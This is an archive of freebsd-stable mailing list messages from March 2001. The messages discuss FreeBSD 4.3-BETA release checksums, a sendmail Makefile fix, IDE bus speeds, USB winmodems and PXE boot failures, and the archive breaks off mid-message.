freebsd-stable@freebsd.org Received: from updraft.jp.freebsd.org (updraft.jp.FreeBSD.ORG [210.157.158.42]) by hub.freebsd.org (Postfix) with ESMTP id C8B8737B718 for ; Tue, 13 Mar 2001 09:58:16 -0800 (PST) (envelope-from matusita@jp.FreeBSD.org) Received: from localhost (localhost [127.0.0.1]) by updraft.jp.freebsd.org (8.11.3+3.4W/8.11.3) with ESMTP/inet id f2DHwCW68653 for ; Wed, 14 Mar 2001 02:58:13 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) In-Reply-To: <20010313171338G.hino@nwk.cl.nec.co.jp> References: <20010312235853N.jkh@osd.bsdi.com> <20010312235853N.jkh@osd.bsdi.com> <20010313171338G.hino@nwk.cl.nec.co.jp> X-Face: '*aj"d@ijeQ:/X}]oM5c5Uz{ZZZk90WPt>a^y4$cGQp8:!H\W=hSM;PuNiidkc]/%,;6VGu e+`&APmz|P;F~OL/QK%;P2vU>\j4X.8@i%j6[%DTs_3J,Fff0)*oHg$A.cDm&jc#pD24WK@{,"Ef!0 P\):.2}8jo-BiZ?X&t$V X-User-Agent: Mew/1.94.2 XEmacs/21.2 (Poseidon) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 14 From: Makoto MATSUSHITA To: stable@FreeBSD.ORG Subject: Re: Minor problem of CHECKSUM.MD5 Date: Wed, 14 Mar 2001 02:57:55 +0900 Message-Id: <20010314025755M.matusita@jp.FreeBSD.org> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hino> src/release/Makefile Revision 1.536.2.34 seems to fix about hino> krb4.* and krb5.*, but not about skrb4.*, skrb5.*, scrypto.*, hino> ssecure.* That's right. Only binary of kerberos stuffs are fixed; all source components are still remained. hino> Is this my misunderstanding? No, maybe jkh misunderstands what's the problem:) -- - Makoto `MAR' MATSUSHITA To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 10:29:58 2001 Delivered-To: freebsd-stable@freebsd.org Received: from nothing-going-on.demon.co.uk (unknown [194.128.198.234]) by hub.freebsd.org (Postfix) with ESMTP id E345137B71A for ; Tue, 13 Mar 2001 10:29:53 -0800 (PST) (envelope-from nik@nothing-going-on.demon.co.uk) Received: (from nik@localhost) by nothing-going-on.demon.co.uk (8.11.1/8.11.1) id f2DITN412512; Tue, 13 Mar 2001 18:29:23 GMT (envelope-from nik) Date: Tue, 13 Mar 2001 18:29:23 +0000 From: Nik Clayton To: Claude Buisson Cc: FreeBSD-stable@freebsd.org Subject: Re: Make release stop within doc.1 for 4.3-BETA Message-ID: <20010313182923.A12489@canyon.nothing-going-on.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="W/nzBZO5zC0uMSeA" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from ubc@paris.framatome.fr on Tue, Mar 13, 2001 at 06:11:21PM +0100 Organization: FreeBSD Project Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --W/nzBZO5zC0uMSeA Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Mar 13, 2001 at 06:11:21PM +0100, Claude Buisson wrote: > Trying to make a release with 4.3-BETA (cvsup today), I got: >=20 > =3D=3D=3D> en_US.ISO_8859-1/articles/ipsec-must > sgmlnorm -c /usr/local/share/sgml/html/catalog article.sgml > article.html > tidy -i -m -f /dev/null article.html > Can't open "/root/.tidyrc" > "html-split" is not a valid output format for this document. > links -S -dump article.html > article.txt > Unknown option -S > *** Error code 3 Now fixed, thanks. N --=20 FreeBSD: The Power to Serve http://www.freebsd.org/ FreeBSD Documentation Project http://www.freebsd.org/docproj/ --- 15B8 3FFC DDB4 34B0 AA5F 94B7 93A8 0764 2C37 E375 --- --W/nzBZO5zC0uMSeA Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjquZwIACgkQk6gHZCw343Wy6ACdGivlWkobvdkpUXkJZHM3stA+ qKQAn2qIW3xdKSBRJryzxQHkuvaMqSR0 =0de/ -----END PGP SIGNATURE----- --W/nzBZO5zC0uMSeA-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 10:39: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ptavv.es.net (ptavv.es.net [198.128.4.29]) by hub.freebsd.org (Postfix) with ESMTP id 0AA7337B719; Tue, 13 Mar 2001 10:39:00 -0800 (PST) (envelope-from oberman@ptavv.es.net) Received: from ptavv.es.net (localhost [127.0.0.1]) by ptavv.es.net (8.10.1/8.10.1) with ESMTP id f2DIcas00336; Tue, 13 Mar 2001 10:38:36 -0800 (PST) Message-Id: <200103131838.f2DIcas00336@ptavv.es.net> To: "Justin T. Gibbs" Cc: Alfred Perlstein , stable@freebsd.org, Soren Schmidt , scsi@freebsd.org Subject: Re: Disk I/O problem in 4.3-BETA In-reply-to: Your message of "Mon, 12 Mar 2001 15:23:22 MST." <200103122223.f2CMNMs39959@aslan.scsiguy.com> Date: Tue, 13 Mar 2001 10:38:36 -0800 From: "Kevin Oberman" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thanks to everyone. I had no idea what an interesting thread I was spawning with my original question. Since I now understand just how dangerous running BOTH WC and SOFTUPDATES can be, I have rebuilt my kernel with WC disabled and, for a reasonably fast backup, where WC is not a data integrity issue, I have a special kernel with WC enabled. I'll just live with the slow-down in things unless smarter folks figure a way to make write cache work safely. Sometimes speed is not everything. When I brought up my first FreeBSD system I had a bad memory card which caused several crashes and hopelessly corrupted my disk. This was no big thing as I had a virgin install and it was easy to just re-install after replacing the bad RAM. But I'd find that to be a real pain today. (And I DO have a good backup today.) R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman@es.net Phone: +1 510 486-8634 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 10:53:14 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns1.venon.com (ns1.venon.com [64.7.7.83]) by hub.freebsd.org (Postfix) with ESMTP id C679E37B71A; Tue, 13 Mar 2001 10:53:05 -0800 (PST) (envelope-from all@biosys.net) Received: from megalomaniac.biosys.net (megalomaniac.venon.com [64.7.7.82]) by ns1.venon.com (Postfix) with ESMTP id C85F4D1613; Tue, 13 Mar 2001 13:51:21 -0500 (EST) Message-Id: <4.3.2.7.2.20010313133746.00c718b0@64.7.7.83> X-Sender: (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 13 Mar 2001 13:53:05 -0500 To: "Jeffrey J. Mountin" , Jean-Marc Zucconi From: Allen Landsidel Subject: Re: UDMA 33/UDMA 100 perfs Cc: stable@FreeBSD.ORG In-Reply-To: <4.3.2.20010313012614.01fe6b00@207.227.119.2> References: <4.3.2.7.2.20010313013018.00c49fd0@64.7.7.83> <4.3.2.20010313002151.02d94c70@207.227.119.2> <200103130329.f2D3TXN73556@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 01:36 3/13/2001 -0600, Jeffrey J. Mountin wrote: >At 01:39 AM 3/13/01 -0500, Allen Landsidel wrote: > >>The point of a higher bus speed is not to get higher transfer rates from >>a single drive, but to avoid saturating the bus when you have multiple >>drives on a single channel of a controller. This is true of both IDE and SCSI. > >Here we go again. > >Check the archives and consider a retraction of this. I haven't begun digging through yet to find out what was said, but I realize I did say is ambiguous. To make it more clear using SCSI as an example, SCSI standards are designed and standardized with the idea that the current standard will be at least twice as fast as the fastest drive currently available, in sustained transfers. With SCSI-3 (Ultra160, et al) a single channel is almost guaranteed to be three to four times faster than the fastest drive you could attach to it. With ATA-100 this falls to about two and a half times. If you doubt this reasoning behind bus speed increases, ask yourself what the point of RAID levels 0 or 5 would be. >Which is exactly why I said what I said and why I grew sick of >manufactures hyping new transfer standards when no drives could hardly >saturate the previous standard and end lusers think there was something to >gain with their old drives on new controllers. Thats kind of goofy.. I don't know of any mfg that is hyping so much that they claim a controller upgrade only is somehow going to magically give you better performance. They're trying to sell drives. >You forgot or don't know about: > >3) Consider using only one drive per controller for maximum performance. I didn't mention that for two reasons. First, he already said he had only that single drive on that channel. Second.. I assume you meant channel and not controller.. using only one drive per controller would not only be expensive as hell for any amount of capacity (before you ran out of pci slots for controllers) but would also be pointless. As for one drive per channel, I don't even see the point in that unless your only concern is the burst transfer rate, which can only sustain for as large as the drives onboard read cache.. a couple megabytes at most. I'd advise a simple and easy rule. Check the average sustained to media transfer rates of the drives you intend to buy, and at most don't put more drives on a single channel than the bus will be able to make use of. You'll run into the standard consumer flavor of PCIs bottleneck before long anyway @ 132MB/s (4 * 33). -------signature file------- PGP Key Fingerprint: 446B 7718 B219 9F1E 43DD 8E4A 6BE9 D739 CCC5 7FD7 "I don't think [Linux] will be very successful in the long run." "My experience and some of my friends' experience is that Linux is quite unreliable. Microsoft is really unreliable but Linux is worse." -Ken Thompson, Interview May 1999. http://www.freebsd.org FreeBSD - The Power to Serve http://www.rfnj.org Radio Free New Jersey - 375 streams - 96kbps @ 44.1khz http://namespace.org -- http://name.space Resist the ICANN! Support name.space! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 11: 3:34 2001 Delivered-To: freebsd-stable@freebsd.org Received: from henny.webweaving.org (gate.qubesoft.com [212.113.16.243]) by hub.freebsd.org (Postfix) with ESMTP id 2A53337B719 for ; Tue, 13 Mar 2001 11:03:31 -0800 (PST) (envelope-from n_hibma@qubesoft.com) Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.9.3/8.9.3) with ESMTP id TAA51723; Tue, 13 Mar 2001 19:01:20 GMT (envelope-from n_hibma@qubesoft.com) Date: Tue, 13 Mar 2001 19:01:19 +0000 (GMT) From: Nick Hibma X-X-Sender: Reply-To: Nick Hibma To: Cc: "Daniel O'Connor" , , Subject: Re: [usb-bsd] Re: USB Modems in -stable In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG How would you imagine a winmodem to work on USB? You can't push the data down that fast I think. Nick On Mon, 12 Mar 2001, Gordon Tetlow wrote: > On Tue, 13 Mar 2001, Daniel O'Connor wrote: > > > On 13-Mar-01 Gordon Tetlow wrote: > > > Just beware not to get a WinModem, otherwise you bought a rather expensive > > > paperweight for use in FreeBSD. > > > > Yeah.. Got any 'known winmodem' names? :) > > The Mitsubishi is almost certainly a winmodem. The NetComm may not be, but > it's hard to tell from the looks of the user manual. > > -gordon > > > ------------------------ Yahoo! Groups Sponsor ---------------------~-~> > Find software faster. Search more than 20,000 > software solutions on KnowledgeStorm. Register > now and get started. > http://us.click.yahoo.com/7u_SwA/zMSCAA/Ig4EAA/N0AVlB/TM > ---------------------------------------------------------------------_-> > > > > Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ > > -- Qube Software, Ltd. Private: n_hibma@qubesoft.com n_hibma@webweaving.org n_hibma@FreeBSD.ORG http://www.qubesoft.com/ http://www.etla.net/~n_hibma/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 11:11:19 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail2.uniserve.com (mail2.uniserve.com [204.244.156.10]) by hub.freebsd.org (Postfix) with ESMTP id 602E737B71E for ; Tue, 13 Mar 2001 11:11:16 -0800 (PST) (envelope-from tom@uniserve.com) Received: from mail2.uniserve.com ([204.244.156.10]) by mail2.uniserve.com with esmtp (Exim 3.13 #1) id 14cuC7-0004Ey-00; Tue, 13 Mar 2001 11:10:55 -0800 Date: Tue, 13 Mar 2001 11:10:55 -0800 (PST) From: Tom X-Sender: tom@athena.uniserve.ca To: Nick Hibma Cc: usb-bsd@yahoogroups.com, Daniel O'Connor , usb-bsd@eleetbsd.org, freebsd-stable@freebsd.org Subject: Re: [usb-bsd] Re: USB Modems in -stable In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 13 Mar 2001, Nick Hibma wrote: > > How would you imagine a winmodem to work on USB? You can't push the > data down that fast I think. > > Nick Well, if the USB "winmodem" is just a digital to analog/analog to digital convertor with a USB interface, it shouldn't be difficult. If you the AD part samples the POTS line at 8000HZ with 8 bit samples, that is a paltry 64Kbps. I hope that winmodems aren't this profoundly stupid. The whole idea of offloading DSP functions to a general purpose CPU is unappealing. Tom To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 11:14:19 2001 Delivered-To: freebsd-stable@freebsd.org Received: from camelot.bitart.com (BITart-45.BITart.com [206.103.221.45]) by hub.freebsd.org (Postfix) with SMTP id 68EAC37B720 for ; Tue, 13 Mar 2001 11:14:15 -0800 (PST) (envelope-from gerti@bitart.com) Received: (qmail 9040 invoked by uid 101); 13 Mar 2001 19:14:13 -0000 Message-ID: <20010313191413.9039.qmail@camelot.bitart.com> Content-Type: text/plain MIME-Version: 1.0 (NeXT Mail 4.2mach v148) In-Reply-To: X-Nextstep-Mailer: Mail 4.2mach (Enhance 2.2p1) Received: by NeXT.Mailer (1.148) From: Gerd Knops Date: Tue, 13 Mar 2001 13:14:13 -0600 To: Nick Hibma Subject: Re: [usb-bsd] Re: USB Modems in -stable Cc: , "Daniel O'Connor" , , Reply-To: gerti-usb@BITart.com References: Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Nick Hibma wrote: > How would you imagine a winmodem to work on USB? You can't push the > data down that fast I think. > Winmodem is probably the wrong term here, but the effects are the same. There is this annoying trend in modem development: 'Do as little in hardware as you can get away with, and the rest in software'. Hence there are some USB modems that are not umodem compatible, because the manufacturer decided to use a custom protocol to the modem in order to keeps parts count/hardware cost down. And it catches on because with modem protocols changing every few months the bulk of the users does not want to invest much money into a modem. Gerd > Nick > > On Mon, 12 Mar 2001, Gordon Tetlow wrote: > > > On Tue, 13 Mar 2001, Daniel O'Connor wrote: > > > > > On 13-Mar-01 Gordon Tetlow wrote: > > > > Just beware not to get a WinModem, otherwise you bought a > > > > rather expensive paperweight for use in FreeBSD. > > > > > > Yeah.. Got any 'known winmodem' names? :) > > > > The Mitsubishi is almost certainly a winmodem. The NetComm may not > > be, but it's hard to tell from the looks of the user manual. > > > > -gordon > > > > > > ------------------------ Yahoo! Groups Sponsor > > ---------------------~-~> Find software faster. Search more than > > 20,000 software solutions on KnowledgeStorm. Register > > now and get started. > > > ---------------------------------------------------------------------_-> > > > > > > > > Your use of Yahoo! Groups is subject to > > > > > > > -- > Qube Software, Ltd. Private: n_hibma@qubesoft.com > n_hibma@webweaving.org n_hibma@FreeBSD.ORG > > You can unsubscribe from this mailing list at > or e-mail n_hibma@freebsd.org. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 12:16:18 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mumblefrotz.dyndns.org (cs92068.pp.htv.fi [212.90.92.68]) by hub.freebsd.org (Postfix) with ESMTP id D9ACB37B718 for ; Tue, 13 Mar 2001 12:16:13 -0800 (PST) (envelope-from ejk@pp.htv.fi) Received: from anthrax.mumblefrotz.dyndns.org (anthrax.mumblefrotz.dyndns.org [192.168.1.3]) by mumblefrotz.dyndns.org (8.11.1/8.11.1) with ESMTP id f2DKGBT00409 for ; Tue, 13 Mar 2001 22:16:12 +0200 (EET) (envelope-from ejk@pp.htv.fi) Received: (from ejk@localhost) by anthrax.mumblefrotz.dyndns.org (8.11.2/8.11.2) id f2DKGNL00925 for stable@freebsd.org; Tue, 13 Mar 2001 22:16:23 +0200 (EET) (envelope-from ejk) Date: Tue, 13 Mar 2001 22:16:23 +0200 From: =?iso-8859-1?Q?Esa_K=E4rkk=E4inen?= To: stable@freebsd.org Subject: Any change of fixin PR conf/25639 before 4.3-RELEASE? Message-ID: <20010313221623.B394@pp.htv.fi> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Editor: Vim-507 http://www.vim.org/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi It's a simple fix. /etc/mail/Makefile does not source /etc/rc.conf nor /etc/rc.conf.local files, resulting that sendmail is allways started with "-bd -q30m" flags. http://www.freebsd.org/cgi/query-pr.cgi?pr=25639 -- There is no spoon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 12:31: 1 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id BE8F337B71B for ; Tue, 13 Mar 2001 12:30:58 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2DKTgH47715; Tue, 13 Mar 2001 12:29:43 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: hino@ccm.cl.nec.co.jp Cc: stable@FreeBSD.ORG Subject: Re: Minor problem of CHECKSUM.MD5 In-Reply-To: <20010313171338G.hino@nwk.cl.nec.co.jp> References: <20010312235853N.jkh@osd.bsdi.com> <20010313171338G.hino@nwk.cl.nec.co.jp> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010313122942R.jkh@osd.bsdi.com> Date: Tue, 13 Mar 2001 12:29:42 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 10 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > src/release/Makefile Revision 1.536.2.34 seems to fix about krb4.* and > krb5.*, but not about skrb4.*, skrb5.*, scrypto.*, ssecure.* My mistake - I forgot about the source dist pieces and confused them with the binary dists when I told you everything was fixed. I'll see if we can get this fixed before 4.3, but only if it doesn't cause a lot of perturberation in release/Makefile. The real fix is to fold crypto and kerberbos back into the bindist, I think. :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 12:47:47 2001 Delivered-To: freebsd-stable@freebsd.org Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178]) by hub.freebsd.org (Postfix) with ESMTP id 93C2F37B71F for ; Tue, 13 Mar 2001 12:47:44 -0800 (PST) (envelope-from gshapiro@gshapiro.net) Received: (from gshapiro@localhost) by horsey.gshapiro.net (8.12.0.Beta5/8.12.0.Beta5) id f2DKlhVQ020720; Tue, 13 Mar 2001 12:47:43 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15022.34671.77854.883477@horsey.gshapiro.net> Date: Tue, 13 Mar 2001 12:47:43 -0800 From: Gregory Neil Shapiro To: =?iso-8859-1?Q?Esa_K=E4rkk=E4inen?= Cc: stable@FreeBSD.ORG Subject: Re: Any change of fixin PR conf/25639 before 4.3-RELEASE? In-Reply-To: <20010313221623.B394@pp.htv.fi> References: <20010313221623.B394@pp.htv.fi> X-Mailer: VM 6.91 under 21.2 (beta42) "Poseidon" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ejk> It's a simple fix. /etc/mail/Makefile does not source ejk> /etc/rc.conf nor /etc/rc.conf.local files, resulting that sendmail is ejk> allways started with "-bd -q30m" flags. ejk> http://www.freebsd.org/cgi/query-pr.cgi?pr=25639 When was your last cvsup? # $FreeBSD: src/etc/mail/Makefile,v 1.9.2.3 2001/03/06 01:49:56 gshapiro Exp $ ... start: (. /etc/defaults/rc.conf; \ if [ "$${sendmail_enable}" = "YES" -a -r /etc/mail/sendmail.cf ];\ then \ ${SENDMAIL} $${sendmail_flags}; \ fi \ ) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 12:50: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178]) by hub.freebsd.org (Postfix) with ESMTP id DB71937B71D for ; Tue, 13 Mar 2001 12:49:59 -0800 (PST) (envelope-from gshapiro@gshapiro.net) Received: (from gshapiro@localhost) by horsey.gshapiro.net (8.12.0.Beta5/8.12.0.Beta5) id f2DKnxxs020738; Tue, 13 Mar 2001 12:49:59 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15022.34807.224362.192213@horsey.gshapiro.net> Date: Tue, 13 Mar 2001 12:49:59 -0800 From: Gregory Neil Shapiro To: =?iso-8859-1?Q?Esa_K=E4rkk=E4inen?= Cc: stable@FreeBSD.ORG Subject: Re: Any change of fixin PR conf/25639 before 4.3-RELEASE? In-Reply-To: <20010313221623.B394@pp.htv.fi> References: <20010313221623.B394@pp.htv.fi> X-Mailer: VM 6.91 under 21.2 (beta42) "Poseidon" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ejk> It's a simple fix. /etc/mail/Makefile does not source ejk> /etc/rc.conf nor /etc/rc.conf.local files, resulting that sendmail is ejk> allways started with "-bd -q30m" flags. ejk> http://www.freebsd.org/cgi/query-pr.cgi?pr=25639 Should have looked at the PR first. However, /etc/defaults/rc.conf takes care of sourcing the other rc conf files at the bottom. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 12:52: 1 2001 Delivered-To: freebsd-stable@freebsd.org Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178]) by hub.freebsd.org (Postfix) with ESMTP id BC62537B722 for ; Tue, 13 Mar 2001 12:51:59 -0800 (PST) (envelope-from gshapiro@gshapiro.net) Received: (from gshapiro@localhost) by horsey.gshapiro.net (8.12.0.Beta5/8.12.0.Beta5) id f2DKpxrP020771; Tue, 13 Mar 2001 12:51:59 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15022.34927.320543.340592@horsey.gshapiro.net> Date: Tue, 13 Mar 2001 12:51:59 -0800 From: Gregory Neil Shapiro To: =?iso-8859-1?Q?Esa_K=E4rkk=E4inen?= Cc: stable@FreeBSD.ORG Subject: Re: Any change of fixin PR conf/25639 before 4.3-RELEASE? In-Reply-To: <20010313221623.B394@pp.htv.fi> References: <20010313221623.B394@pp.htv.fi> X-Mailer: VM 6.91 under 21.2 (beta42) "Poseidon" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ejk> It's a simple fix. /etc/mail/Makefile does not source ejk> /etc/rc.conf nor /etc/rc.conf.local files, resulting that sendmail is ejk> allways started with "-bd -q30m" flags. ejk> http://www.freebsd.org/cgi/query-pr.cgi?pr=25639 And now I see what you mean. Sorry for the multiple messages. I'll commit a fix today and seek approval for MFC. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 13:13:30 2001 Delivered-To: freebsd-stable@freebsd.org Received: from dell.dannyland.org (dell.dannyland.org [64.81.36.13]) by hub.freebsd.org (Postfix) with ESMTP id 3A73E37B728 for ; Tue, 13 Mar 2001 13:13:24 -0800 (PST) (envelope-from dannyman@toldme.com) Received: by dell.dannyland.org (Postfix, from userid 1001) id A88395BF7; Tue, 13 Mar 2001 13:13:27 -0800 (PST) Date: Tue, 13 Mar 2001 13:13:27 -0800 From: dannyman To: freebsd-stable@freebsd.org Subject: PXE boot 250M mfsroot -> "BTX halted" crash Message-ID: <20010313131327.H3500@dell.dannyland.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i X-Loop: djhoward@uiuc.edu X-URL: http://www.dannyland.org/~dannyman/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thanks to Google, I've found some stuff on this list at: http://groups.google.com/groups?q=PXE+BTX+Halted&hl=en&lr=&safe=off&btnG=Google+Search&site=groups Okay, So I'm trying to do installs via PXE based on http://people.freebsd.org/~alfred/pxe/ but now I'm trying to see if I can net boot in to a virgin system and run sysinstall there. This would allow me to tailor install.cfg, run sysinstall, run some post-configure scripts ... overcome the limitations that Alfred's method sticks me with. So I tried creating a 250M mfsroot image (Hey, I have 1GB of RAM!) that then gets loaded by BTX over the 'net into an MFS. The bootstrap twiddles for a little while, sucking down much data, and then BTX Halted. Since this is apparently a problem with large "dedicated disk" filesystems I'm going to try making a more modestly-sized mfsroot and see if I get away with anything. Unfortunately, other folks' solutions like playing with the Adaptec controller don't seem to apply here, since I'm not dealing with SCSI, neh? I'm just chortling here in the hope that maybe this data point is useful to somebody. :) Thanks, -danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 13:54: 0 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mass.dis.org (mass.dis.org [216.240.45.41]) by hub.freebsd.org (Postfix) with ESMTP id E781E37B718 for ; Tue, 13 Mar 2001 13:53:55 -0800 (PST) (envelope-from msmith@mass.dis.org) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.2/8.11.2) with ESMTP id f2DLtWS01611; Tue, 13 Mar 2001 13:55:40 -0800 (PST) (envelope-from msmith@mass.dis.org) Message-Id: <200103132155.f2DLtWS01611@mass.dis.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: dannyman Cc: freebsd-stable@freebsd.org Subject: Re: PXE boot 250M mfsroot -> "BTX halted" crash In-reply-to: Your message of "Tue, 13 Mar 2001 13:13:27 PST." <20010313131327.H3500@dell.dannyland.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 13 Mar 2001 13:55:32 -0800 From: Mike Smith Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > So I tried creating a 250M mfsroot i mage (Hey, I have 1GB of RAM!) that then > gets loaded by BTX over the 'net into an MFS. The bootstrap twiddles for a > little while, sucking down much data, and then BTX Halted. You may still have issues at the 16MB mark; I thought this was fixed a while back, but it may not have been. -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 13:56:53 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-59.dsl.lsan03.pacbell.net [63.207.60.59]) by hub.freebsd.org (Postfix) with ESMTP id 4401837B719 for ; Tue, 13 Mar 2001 13:56:51 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id DF44366B6C; Tue, 13 Mar 2001 13:56:50 -0800 (PST) Date: Tue, 13 Mar 2001 13:56:50 -0800 From: Kris Kennaway To: Jordan Hubbard Cc: hino@ccm.cl.nec.co.jp, stable@FreeBSD.ORG Subject: Re: Minor problem of CHECKSUM.MD5 Message-ID: <20010313135650.A18173@mollari.cthul.hu> References: <20010312235853N.jkh@osd.bsdi.com> <20010313171338G.hino@nwk.cl.nec.co.jp> <20010313122942R.jkh@osd.bsdi.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="Qxx1br4bt0+wmkIi" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010313122942R.jkh@osd.bsdi.com>; from jkh@osd.bsdi.com on Tue, Mar 13, 2001 at 12:29:42PM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --Qxx1br4bt0+wmkIi Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Mar 13, 2001 at 12:29:42PM -0800, Jordan Hubbard wrote: > > src/release/Makefile Revision 1.536.2.34 seems to fix about krb4.* and > > krb5.*, but not about skrb4.*, skrb5.*, scrypto.*, ssecure.* >=20 > My mistake - I forgot about the source dist pieces and confused them > with the binary dists when I told you everything was fixed. I'll see > if we can get this fixed before 4.3, but only if it 